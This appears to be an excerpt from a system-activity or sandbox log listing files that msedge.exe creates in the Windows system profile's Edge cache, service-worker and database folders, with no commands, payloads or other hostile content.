Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6e5d9fe0a946b57f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\18b18d4f42be9dc9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4264252590b436ca_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2194ae212bec996c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\be38a6b167a06314_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1c7c53ae3c59cfe1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fe39ccdcb766bff9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c9ea7bef21775c34_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9149d681662a6e39_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7e276c1c0fd04047_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\64ed8a037a2f94fd_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ffcdb4b956c42020_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4cbe4af66b58961c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f4f9c98ed04b5ec4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\561af5d42344f371_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a67b6886fc3a1533_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f637f397dcea2f5b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2af50681e7e165d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\33f60a11fe8d3c4d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\93b41bf2357412b4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7eff83c904ebbf81_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8b65a96eb9aee0b0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6840e7e9b84ec2af_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3629afc6d6acd41e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8d22457d87f44ef8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\cbec4dd87a69e757_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9856673ea76d0deb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\72fe09fceb7e3a78_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RF1fad02.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\79aca4930c963cc4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\79aca4930c963cc4_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ab1bc50940155da2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ab1bc50940155da2_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa\51799300f73251f6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\50d287955aa0db29_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\50d287955aa0db29_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\68cda81435e11c25_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fe8f201a1f9e91cb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7cf8d65d0897fa22_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\db3679147ce746c5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3ce7e8903a7fd0b1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3ce7e8903a7fd0b1_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\475fac05b3942ef4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ebc969827e6e78fa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\475fac05b3942ef4_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\55a83b115fd80ff7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\55a83b115fd80ff7_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4785f2d1eb413294_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4785f2d1eb413294_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\e723cb04fc3eaad0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\e723cb04fc3eaad0_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2d7dd16c2cd9221e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2d7dd16c2cd9221e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b29ae22bf7251723_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b29ae22bf7251723_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\cdf823ec88206886_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\cdf823ec88206886_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\217a7ae8a3007b2b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2669096da0ab2fb6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2669096da0ab2fb6_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\984b0eb72c6da64b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\984b0eb72c6da64b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\314559faefde062a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\314559faefde062a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0cfe2fc50d18595c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0cfe2fc50d18595c_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\192386fd3846067f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\192386fd3846067f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\fbfc2d62749078d1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\fbfc2d62749078d1_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\dfd4ad20f3e95164_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\dfd4ad20f3e95164_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\d1c87e07019d8b4e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\d1c87e07019d8b4e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\f7b67dad731ab807_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\f7b67dad731ab807_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\16f4e821b507362b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\16f4e821b507362b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0b17bb7e9cf5a436_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0b17bb7e9cf5a436_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0f0839cc28cc3d3e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0f0839cc28cc3d3e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b5b383720128fe63_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b5b383720128fe63_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ec37128008082892_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ec37128008082892_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ee51d1c28e826730_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ee51d1c28e826730_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\96e189d62afbdb94_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\96e189d62afbdb94_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\57e38f4d6de24451_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\57e38f4d6de24451_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\6389b23f4bc62c06_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\6389b23f4bc62c06_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\23a857e3f0a12e9b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\23a857e3f0a12e9b_1
